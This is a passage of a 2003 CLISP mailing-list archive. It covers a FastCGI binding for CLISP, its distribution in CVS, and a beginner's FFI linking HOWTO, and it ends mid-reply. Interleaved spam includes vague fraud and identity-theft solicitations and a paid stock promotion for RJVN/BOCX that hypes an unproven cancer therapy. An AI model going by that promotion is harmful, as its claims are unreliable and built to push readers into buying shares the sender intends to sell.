Apache, I've had excellent results using the "FastCGI" library to speed up my CLISP-based web scripts. I'm convinced this is a much better way to go than writing a native Apache module just for CLISP, as the latter would have involved re-inventing a lot of functionality already developed and debugged by FastCGI developers over the last 5 to 6 years. I ended up writing a CLISP FFI wrapper (sorry, no UFFI) around FastCGI's "C" interface, and using that as a drop-in CGI replacement. It works great. Benchmarks show that, for my application, average turnaround time to the Web browser has been reduced from 0.96 seconds to 0.11 seconds, or about 8.7 times faster. For an interactive database-driven Web site doing queries w/ each click of the mouse, the difference b/w a delay of 1 sec and 0.1 sec is quite noticable, and is essentially the difference b/w a "fast" site and "slow" site. I've GPL'd, documented and packaged up the module so it can be used by others. It can be downloaded at http://clisp.alma.com ... My module would appear to be the first Common Lisp implementation of FastCGI, which already has interfaces for C, C++, Guile Scheme, Goanna Eiffel, SmallEiffel, Java, Perl, Python, and Smalltalk. A bit late to the party, eh :) I invite anyone using CLISP for Web CGIs to use this library and give some feedback as to how much faster it makes things. I'll help you get it working. For those wondering what happened w/ my efforts to use mod_lisp, I found FastCGI a better choice for my particular purposes and environment (CLISP), after considering a whole mosaic of issues. Here is a re-cap of my situation as to whether to use FastCGI vs. mod_lisp: mod_lisp pros & cons (for ME, YMMV) PRO: uses native O/S multi-threading; more efficient concurrency CON: one's code must be thread safe (but mine's not) CON: thread support required in CL implementation (CLISP has not) PRO: uses one Lisp image, sharing memory CON: requires one to implement his own pooling of any resources not managed by mod_lisp (e.g., database connections) CON: requires one to manage separate process for application servers handling restart separately from Web server (this could be a PRO depending on who you are) CON: Need separate programs to use as plain old CGI (e.g., for interactive development) vs. in application server mode. This is not so huge an issue. CLISP+FastCGI pros & cons (for ME, YMMV) CON: forks separate O/S processes for each thread, less efficient in highly concurrent environment (but mine's not) PRO: code need not be thread safe (and mine's not) PRO: no requirement for threads, so works with CLISP CON: separate CLISP images, sucking memory PRO: pooling of any resources cached globally in Lisp (e.g., my database connections, query results) is handled automatically by FastCGI library PRO: application processes are spawned and killed off automatically by the Web server; restart of Web server also restarts application server(s). Could be a CON depending on who you are PRO: exact same program can be use in CGI mode vs. FastCGI mode. Useful to run as CGI when developing as new process is created every time and code changes are reflected immediately. This is not so huge an issue. There were three FastCGI "pro's" which, for me, would in and of themselves have tipped the scale: the "works w/ CLISP", "don't need thread safe code" and "don't have to write one's own pool" issues. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sds@gnu.org Thu Jan 09 11:55:14 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Will-0003Rk-00 for ; Thu, 09 Jan 2003 11:55:13 -0800 Received: from loiso.podval.org ([151.203.33.199]) by out005.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030109195506.PLTE16306.out005.verizon.net@loiso.podval.org>; Thu, 9 Jan 2003 13:55:06 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id h09Jup4e032119; Thu, 9 Jan 2003 14:56:52 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id h09JuoXA032115; Thu, 9 Jan 2003 14:56:50 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "John K. Hinsdale" Cc: edi@agharta.de, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FastCGI working; library available (was: Re: CLISP Apache module) References: <200301091516.h09FGlQn017645@van-halen.alma.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200301091516.h09FGlQn017645@van-halen.alma.com> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out005.verizon.net from [151.203.33.199] at Thu, 9 Jan 2003 13:55:06 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 9 11:56:01 2003 X-Original-Date: 09 Jan 2003 14:56:50 -0500 > * In message <200301091516.h09FGlQn017645@van-halen.alma.com> > * On the subject of "[clisp-list] FastCGI working; library available (was: Re: CLISP Apache module)" > * Sent on Thu, 9 Jan 2003 10:16:47 -0500 > * Honorable "John K. Hinsdale" writes: > > I've GPL'd, documented and packaged up the module so it can be used by > others. Great news! > It can be downloaded at http://clisp.alma.com ... would you like to have your module distributed with CLISP? please put it into the CVS! It would also be nice if you wrote a manual for both this and your oracle module (preferably in DocBook/XML format, please see modules/regexp/regexp.xml for an example.) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux You think Oedipus had a problem -- Adam was Eve's mother. From hin@van-halen.alma.com Thu Jan 09 12:44:08 2003 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18WjX0-0005Jv-00 for ; Thu, 09 Jan 2003 12:44:02 -0800 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id h09Khowb020301; Thu, 9 Jan 2003 15:43:50 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id h09KhoYS020298; Thu, 9 Jan 2003 15:43:50 -0500 Message-Id: <200301092043.h09KhoYS020298@van-halen.alma.com> From: "John K. Hinsdale" To: sds@gnu.org CC: edi@agharta.de, clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 09 Jan 2003 14:56:50 -0500) Subject: Re: [clisp-list] FastCGI working; library available (was: Re: CLISP Apache module) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 9 12:45:01 2003 X-Original-Date: Thu, 9 Jan 2003 15:43:50 -0500 > would you like to have your module distributed with CLISP? > please put it into the CVS! ok, done. > It would also be nice if you wrote a manual for both this and your > oracle module (preferably in DocBook/XML format, please see > modules/regexp/regexp.xml for an example.) OK I'll try to come up with some more "professional" than just those README's. From lisp-clisp-list@m.gmane.org Thu Jan 09 15:22:13 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Wm03-0008SH-00 for ; Thu, 09 Jan 2003 15:22:11 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18Wlys-0000Zt-00 for ; Fri, 10 Jan 2003 00:20:58 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18WlyP-0000XW-00 for ; Fri, 10 Jan 2003 00:20:29 +0100 Path: not-for-mail From: Sam Steingold Organization: disorganization Lines: 17 Message-ID: References: <200301092043.h09KhoYS020298@van-halen.alma.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: FastCGI working; library available (was: Re: CLISP Apache module) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 9 15:23:02 2003 X-Original-Date: 09 Jan 2003 18:23:25 -0500 > * In message <200301092043.h09KhoYS020298@van-halen.alma.com> > * On the subject of "Re: FastCGI working; library available (was: Re: CLISP Apache module)" > * Sent on Thu, 9 Jan 2003 15:43:50 -0500 > * Honorable "John K. Hinsdale" writes: > > > would you like to have your module distributed with CLISP? > > please put it into the CVS! > > ok, done. don't forget to update src/NEWS and src/ChangeLog -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Your mouse pad is incompatible with MS Windows - your HD will be reformatted. From hin@van-halen.alma.com Thu Jan 09 16:39:46 2003 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18WnD2-0003UF-00 for ; Thu, 09 Jan 2003 16:39:40 -0800 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id h0A0dXwb021041 for ; Thu, 9 Jan 2003 19:39:33 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id h0A0dXBk021038; Thu, 9 Jan 2003 19:39:33 -0500 Message-Id: <200301100039.h0A0dXBk021038@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net In-reply-to: <871y3pqeba.fsf@bird.agharta.de> (message from Edi Weitz on 07 Jan 2003 14:28:41 +0100) Subject: [clisp-list] FastCGI working; library available (was: Re: CLISP Apache module) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 9 16:40:05 2003 X-Original-Date: Thu, 9 Jan 2003 19:39:33 -0500 > From: "John K. Hinsdale" > My module would appear to be the first Common Lisp implementation > of FastCGI, which already has interfaces for C, C++, Guile Scheme, > Goanna Eiffel, SmallEiffel, Java, Perl, Python, and Smalltalk. Quick note of correction: the above is not true. Teemu Kalvas has written a Common Lisp FastCGI library and server for CMUCL, at: http://www.s2.org/~chery/projects/fastcgi-cmucl This is different from my CLISP binding (and for the bindings to many of the other languages that support FastCGI) in that instead of being just wrappers that call the original FastCGI "C" library, c.a., 1995, Teemu's is a complete implementation of the FastCGI binary packet protocol in Lisp, from scratch. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From offer1@cfl.rr.com Fri Jan 10 13:48:22 2003 Received: from smtp-server4.tampabay.rr.com ([65.32.1.43]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18X70n-0000e2-00 for ; Fri, 10 Jan 2003 13:48:21 -0800 Received: from david-congero (207.107.35.65.cfl.rr.com [65.35.107.207]) by smtp-server4.tampabay.rr.com (8.12.2/8.12.2) with SMTP id h0ALkUg8019382 for ; Fri, 10 Jan 2003 16:48:19 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: offer1 To: clisp-list@sourceforge.net Message-ID: <200311060495clisp-list@clisp.cons.org> Subject: [clisp-list] Credit Card Fraud Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 10 13:49:03 2003 X-Original-Date: Fri, 10 Jan 2003 16:48:15 -0600 Would you like to know more about credit card fraud on the internet and how to stop it? Simply reply to this email with " Credit Card Fraud" in the subject line for more infromation. Thank you for your time To be removed from our database simply reply to this email with the word Remove in the subject line. Thank you for your time From offer1@cfl.rr.com Fri Jan 10 13:48:25 2003 Received: from smtp-server4.tampabay.rr.com ([65.32.1.43]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18X70q-0000eG-00 for ; Fri, 10 Jan 2003 13:48:25 -0800 Received: from david-congero (207.107.35.65.cfl.rr.com [65.35.107.207]) by smtp-server4.tampabay.rr.com (8.12.2/8.12.2) with SMTP id h0ALkUg9019382 for ; Fri, 10 Jan 2003 16:48:20 -0500 (EST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii From: offer1 To: clisp-list@sourceforge.net Message-ID: <200311060496clisp-list@clisp.cons.org> Subject: [clisp-list] Know More About Identity Theft Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 10 13:49:06 2003 X-Original-Date: Fri, 10 Jan 2003 16:48:16 -0600 Would you like to know more about identity theft and the internet, and how to stop it? Simply reply to this email with " Identity Theft" in the subject line for more infromation. Thank you for your time To be removed from our database simply reply to this email with the word Remove in the subject line. Thank you for your time From applesvtoe33@krashtan.kiev.ua Sat Jan 11 05:31:13 2003 Received: from [149.168.208.15] (helo=Carswell-Sand.dpi.state.nc.us) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18XLjE-0002e0-00 for ; Sat, 11 Jan 2003 05:31:13 -0800 Received: from palladio.arch.kth.se ([63.243.145.83]) by Carswell-Sand.dpi.state.nc.us (Lotus Domino Release 6.0) with ESMTP id 2003011019225151-16925 ; Fri, 10 Jan 2003 19:22:51 -0500 Message-ID: <0000304c2e20$000017c7$00004a42@mail.planet.net.hk> To: Cc: , , , , , From: "Chrsty Wade" MIME-Version: 1.0 X-MIMETrack: Itemize by SMTP Server on Beta/CoolNotes(Release 6.0|September 26, 2002) at 01/10/2003 07:22:53 PM, Serialize by Router on Beta/CoolNotes(Release 6.0|September 26, 2002) at 01/11/2003 08:27:44 AM, Serialize complete at 01/11/2003 08:27:44 AM Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="Windows-1252" Subject: [clisp-list] Small Bio-tech OTCBB - RJVN to test Cancer Immunization Therapy27385 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 11 05:32:01 2003 X-Original-Date: Fri, 10 Jan 2003 16:26:02 -2000 BioCurex PRESS RELEASE Source: BioCurex, Inc. January 9, 2003 OTCBB Listed BioTech Companies BOCX & RJVN - Creating a Non-Toxic Therapeutic Antibody Cancer Treatment That May Arrest Development and Replication of Cancerous Cells. Rancho Santa Margarita, Calif., January 9, 2003 BioCurex, Inc., (OTC BB:BOCX), Announces further developments relating to its licensing agreement with BioKinetix, a company being acquired by RJV Networks, Inc., (OTC BB : RJVN). BioCurex and RJV networks (through Biokinetix) are behind the development of a new therapeutic product, which experts believe will arrest the development of and replication of cancerous cells that cause the growth of malignant tumors. BOCX's proprietary technology has identified a New Widespread Cancer marker Molecule named RECAF. Cancer "markers" are molecules that appear on cancer cells but not on normal cells and have been hailed as The Holy Grail of cancer research since they can be used to detect (diagnose) and then specifically target cancer cells (therapy) - offering the potential to provide treatment of cancer by delivering antibodies to the targeted cancerous cells. RJVN and BioKinetics have proprietary technology for developing "superantibodies", an enhancement of antibody technology that makes ordinary antibodies much more lethal. The combination of anti-RECAF antibodies from BioCurex with the superantibody technology from RJVN - BioKinetics is expected to produce a powerful therapeutic agent to combat most types of cancer. If the antibodies prove to be cancer cell specific, it is unlikely that there would be any adverse side effects. This lack of toxicity should accelerate testing and approval process. Dr. Moro, President of Biocurex stated: "Our ultimate goal is to fight cancer. We have the cancer marker that identifies the cancer cells and RJV Networks-BioKinetix has the superantibody technology to kill them. It is only natural that we join forces in the battle against this horrible disease. I see tremendous potential for success in this joint effort. Dr. John Todd, President of BioKinetix Corporation stated that Bio Kinetix Corporation's mission is to acquire intellectual property rights for existing products and intellectual property. Then, through a series of collaborative relationships, we will facilitate the development of a new generation of monoclonal antibodies (termed "Superantibodies), which will have a significantly improved therapeutic potency as anticancer agents. BioCurex, Inc. Richard Moro, President RJV Networks-BioKinetix Grant Young For more info see RJVN and BOCX in the news. You can also see this Press Release at Yahoo Finance biz.yahoo.com/pz/030109/35412.html You can also look them up by their symbols: OTC BB:BOCX or OTC BB : RJVN **** Special Financial-Stock Opt-in mailing list Offer **** As a member of our special opt-in mailing list, you will be among the first to receive up to the minute information regarding the companies we profile above as well as a free 10-day trial to a website with real-time Level II quotes, research reports, OTC BB promo / syndication calendar, trading chat rooms, full threading message boards, along with many other valuable and free investment tools not readily available to the general public. This is an incredible opportunity! Just click the link below to send us an email, and you will be immediately added to our Opt-in list. Please be sure that "opt-in" is in the subject line of the email. If opt-in is not in the subject line you will not be added. MailTo:uhl669@excite.com?Subject=Opt-In Thank you. **See Removal instructions below ***********************Disclaimer******************** Information within this email contains "forward looking statements" within the meaning of Section 27A of the Securities Act of 1933 and Section 21B of the Securities Exchange Act of 1934. Any statements that express or involve discussions with respect to predictions, goals, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance are not statements of historical fact and may be "forward looking statements." Forward looking statements are based on expectations, estimates and projections at the time the statements are made that involve a number of risks and uncertainties which could cause actual results or events to differ materially from those presently anticipated. Forward looking statements in this action may be identified through the use of words such as: "projects", "foresee", "expects", "estimates," "believes," "understands" "will," "anticipates," or that by statements indicating certain actions "may," "could," or "might" occur. All information provided within this email pertaining to investing, stocks, securities must be understood as information provided and not investment advice. Emerging Equity Alert advises all readers and subscribers to seek advice from a registered professional securities representative before deciding to trade in stocks featured within this email. None of the material within this report shall be construed as any kind of investment advice. In compliance with the Securities Act of 1933, Section 17(b), Emerging Stock Alert discloses the receipt of 125,000 unrestricted shares of RJVN from a third party for the publication of this report. Be aware of an inherent conflict of interest resulting from such compensation due to our intent to profit from the liquidation of these shares. Shares may be sold at any time, even after positive statements have been made regarding the above company. All factual information in this report was gathered from public sources, including but not limited to SEC filings, Company Press Releases, and Market Guide. Emerging Equity Alert believes this information to be reliable but can make no guarantee as to its accuracy or completeness. Use of the material within this email constitutes your acceptance of these terms. ****** Advertising Disclaimer ****** We are an Internet Advertising Company and have received a monetary payment for this mailing service. We hold no stocks and have no personal interest in this company whatsoever. We are simply being paid to perform a service. This message is a copy of a BioCurex press release. ****** Removal Instructions ****** This message has been sent to you in compliance with our strict anti-abuse regulations. We will continue to bring you valuable offers on the products and services that interest you most. If you do not wish to receive further mailings, please click below. We respect all removal requests. To be removed immediately from our mailing lists just click on the link below: MailTo:billt4681@excite.com?Subject=expunge . Be sure that "purge-me" is in the subject line of the email prior to sending it. **************************************************************** *************************** From tsiivola@niksula.hut.fi Mon Jan 13 04:03:00 2003 Received: from [130.233.40.5] (helo=twilight.cs.hut.fi) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Y3Iy-0000cC-00 for ; Mon, 13 Jan 2003 04:03:00 -0800 Received: (from localhost user: 'tsiivola' uid#25372 fake: STDIN (tsiivola@kekkonen.cs.hut.fi)) by mail.niksula.cs.hut.fi id ; Mon, 13 Jan 2003 14:02:11 +0200 From: Nikodemus Siivola X-X-Sender: tsiivola@kekkonen.cs.hut.fi To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] FFI troubles Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 13 04:03:02 2003 X-Original-Date: Mon, 13 Jan 2003 14:02:11 +0200 (EET) Much confusion and the docs aren't clear enough for me. :( But if someone helps me out, I'll promise to write a tutorial as soon as I figure this out... From the imp. notes: "A foreign function description is written as a Lisp file, and when compiled it produces a #P".c" file which is then compiled by the C compiler and may be linked together with lisp.a." This seem simple enough. The trouble is that the later examples show the contents fo a c-file and a lisp-file and then hit the shell prompt with fury: "$ clisp-link create-module-set cfun callcfun.c $ cc -O -c cfun.c $ cd cfun $ ln -s ../cfun.o cfun.o Add cfun.o to NEW_LIBS and NEW_FILES in link.sh. $ cd .. $ base/lisp.run -M base/lispinit.mem -c callcfun.lisp $ clisp-link add-module-set cfun base base+cfun $ base+cfun/lisp.run -M base+cfun/lispinit.mem -i callcfun > (test-c-call::call-cfun)" My problem is twofold: 1) I'd like to get the example to work. I can't. 2) I'd like to understand what I'm doing. Unfortunately the magic mantras are a bit low on explanations. Following the example (on Debian testing, for what it's worth) I hit to first bump right at the beginning: no clisp-link. Ah! It's in /usr/lib/clisp! Ok: $ sudo ln -s /usr/lib/clisp/clisp-link /usr/bin/clisp-link Then it seems theat I need linkkit-dir in current dir. Ok: $ cp -r /usr/lib/clisp/linkkit . Smooth sailing for a while, then I need to amend the correct directory: $ base/lisp.run -M /usr/lib/clis/base/lispinit.mem -c callcfun.lisp Same here: $ clisp-link add-module-set cfun /usr/lib/clisp/base base+cfun Then I seem to be missing lisp.run and lispinit.mem from base+cfun. Symlink originals and try again: works. Almost: FFI complains that the foreign function does not exist + the lisp seems to be missing quite a few functions, EXIT & co. among them... Ctrl-Z and kill the bugger, then write here for help... One source of confusion is that the linking procedure is obscured by clisp-link, which seems to be documented nowehere. Are there better docs somewhere? Also, am I interpreting this correctly when I think that to call a foreign function with clisp you need to link the extension to clisp statically -- no dlopen available? Also, does anyone have experience with using code depending on the Boehm GC via clisp's ffi: any serious troubles to be expected? Thanks, -- Nikodemus From tsiivola@niksula.hut.fi Mon Jan 13 16:05:39 2003 Received: from twilight.cs.hut.fi ([130.233.40.5] ident=root) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18YEaB-00057n-00 for ; Mon, 13 Jan 2003 16:05:31 -0800 Received: (from localhost user: 'tsiivola' uid#25372 fake: STDIN (tsiivola@kekkonen.cs.hut.fi)) by mail.niksula.cs.hut.fi id ; Tue, 14 Jan 2003 02:05:07 +0200 From: Nikodemus Siivola X-X-Sender: tsiivola@kekkonen.cs.hut.fi To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] CLISP-FFI-HOWTO (Was: FFI troubles) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 13 16:06:03 2003 X-Original-Date: Tue, 14 Jan 2003 02:05:07 +0200 (EET) On Mon, 13 Jan 2003, Nikodemus Siivola wrote: > Much confusion and the docs aren't clear enough for me. :( But if someone After some fast and furious head-banging I finally got it working. Somehow. Lot's of unclear issues as of yet, but no matter. However, since this *is* answered in the FAQ, but the entry wasn't all that helpful for me I recorded the entire process to the best (sic!) of my understanding into a small HOWTO, for the next bungler like me. It's not much -- basically just a more spelled out version of what's in the Implementation Notes. Cheers, -- Nikodemus -- CLISP-FFI-HOWTO Nikodemus Siivola Version 0.1, 2003-01-14 Foreword -------- This is a short guide to extending CLISP on Debian sarge via it's FFI and module facilities. Even though it may be helpful on other platforms as well, no attempt at platform-agnosticism has been made. Please email any comments, corrections and additions to tsiivola@cc.hut.fi. This guide is by no means meant to be authoritative: merely a collection of the bumps the author hit along to road and how he managed to steer clear of them. For *real* documentation read the CLISP Implementation Notes /usr/share/doc/clisp/doc/impnotes.html or http://clisp.cons.org/impnotes.html and the CLISP manual page. Also check out the source: apt-get source clisp And see clisp-2.28/modules/* Preliminaries ------------- Unfortunately the current version in sarge (clisp-1:2.28-1) installs clisp-link into /usr/lib/clisp, which is not in PATH, so you need to either: a) symlink it to /usr/bin b) add /usr/lib/clisp to your PATH c) alias clisp-link=/usr/lib/clisp/clisp-link Also, you want have to set up correct environment variables: export CLISP_LINKKIT=/usr/lib/clisp/linkkit Interface and Extension ----------------------- For the sake of argument, start in a clean directory with the following files, containg a minimal extension and an interface for it. Extension is in vector.c: -- #include typedef float float_t; typedef float_t vector_t[3]; float_t dot_product (vector_t, vector_t); float_t dot_product (vector_t a, vector_t b) { float_t x = 0; int i = 0; for (i=0; i<3; i++) x += a[i] * b[i]; return x; } -- Compile it without linking: $ cc -c vector.c Interface is in vector-interface.lisp: -- (ffi:def-call-out dot-product (:name "dot_product") (:language :stdc) (:arguments (a (ffi:c-ptr (ffi:c-array single-float 3))) (b (ffi:c-ptr (ffi:c-array single-float 3)))) (:return-type single-float)) -- Compile it with clisp: $ clisp -c vector-interface.lisp At this point you working directory should contain: vector.c vector.o vector-interface.lisp vector-interface.c vector-interface.fas vector-interface.lib Creating the Extension ---------------------- Use clisp-link to create a new module-set named vector-module: $ clisp-link create-module-set vector-module vector-interface.c This should create a subdirectory named vector-module that contains: Makefile links.sh vector-interface.c (This one should be just a symlink.) The links.sh needs to be amended: add "vector.o" to NEW_LIBS and NEW_FILES and "../vector-interface.fas" to TO_LOAD. You should end up with something like this: -- file_list='' mod_list='' if test -r vector-interface.c; then file_list="$file_list"' vector-interface.o' mod_list="$mod_list"' vector_interface' fi make clisp-module CC="${CC}" CFLAGS="${CFLAGS}" INCLUDES="$absolute_linkkitdir" NEW_FILES="$file_list vector.o" NEW_LIBS="$file_list vector.o" NEW_MODULES="$mod_list" TO_LOAD='../vector-interface.fas' -- Due to the deficiencies of our configuration we also need to create a symlink to vector.o in the vector-module directory: $ cd vector-module $ ln -s ../vector.o $ cd .. FIXME: ^-- This could probably be avoided. How? Next step is to generate a new linking-set: clisp-link add-module-set vector-module /usr/lib/clisp/base base+vector This creates the directory base+vector that will contain the extended CLISP. Let's try it out: $ base+vector/lisp.run -M base+vector/lispinit.mem ... [1]> (dot-product #(1.0 1.0 1.0) #(1.0 2.0 3.0)) 6.0 Seems ok! ToDo ---- - Dynamic linking: is it possible? - Writing interfaces / generating them from header-files - Using the extended CLISP with command-line arguments - More on link.sh - clisp-link run From kaz@footprints.net Mon Jan 13 16:39:40 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18YF6k-0001zD-00 for ; Mon, 13 Jan 2003 16:39:10 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18YF6E-0001WR-00; Mon, 13 Jan 2003 16:38:38 -0800 From: Kaz Kylheku To: Nikodemus Siivola cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: CLISP-FFI-HOWTO (Was: FFI troubles) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 13 16:40:06 2003 X-Original-Date: Mon, 13 Jan 2003 16:38:38 -0800 (PST) On Tue, 14 Jan 2003, Nikodemus Siivola wrote: > Preliminaries > ------------- > > Unfortunately the current version in sarge (clisp-1:2.28-1) installs > clisp-link into /usr/lib/clisp, which is not in PATH, so you > need to either: > > a) symlink it to /usr/bin > > b) add /usr/lib/clisp to your PATH > > c) alias clisp-link=/usr/lib/clisp/clisp-link > > Also, you want have to set up correct environment variables: > > export CLISP_LINKKIT=/usr/lib/clisp/linkkit This stuff can be automated quite effectively. In the Meta-CVS install script, I do some crusty shell programming to discover the installation-specific identity of that directory which is usually /usr/lib/clisp: Firstly, get the path to the clisp executable. It has to be in the search path. if ! CLISP_PATH="$(which clisp)" ; then echo clisp command not found exit 1 fi We assume that the path always ends in PREFIX/bin/clisp, and that the lib directory is PREFIX/lib/clisp. So we chop off the last two components, bin/clisp and replace them with lib/clisp. # Hey look, Lispy looking shell crud on the right hand side! CLISP_ROOT=$(dirname $(dirname "$CLISP_PATH")) CLISP_LIB="$CLISP_ROOT/lib/clisp" Now we can compute CLISP_LINKKIT: CLISP_LINKKIT="$CLISP_LIB/linkkit" and we can run clisp-link, which lives in $CLISP_LIB, and installs without execute permissions: sh "$CLISP_LIB/clisp-link" add-module-set ... etc > (ffi:def-call-out dot-product > (:name "dot_product") > (:language :stdc) > (:arguments > (a (ffi:c-ptr (ffi:c-array single-float 3))) > (b (ffi:c-ptr (ffi:c-array single-float 3)))) > (:return-type single-float)) To make your tutorial more complete, you might want to also discuss def-call-in. There are issues there: if you want to use a Lisp function as a callback, and that function is in a custom package, the build has to be broken into two steps, because the generated FFI module that is linked into your lisp executable makes references to the package. This two-step process is selected in the link.sh script by using the TO_PRELOAD variable, IIRC. The reason that the two-step process is needed is that when your lisp executable is built with your custom module, the module stub code will try to access the 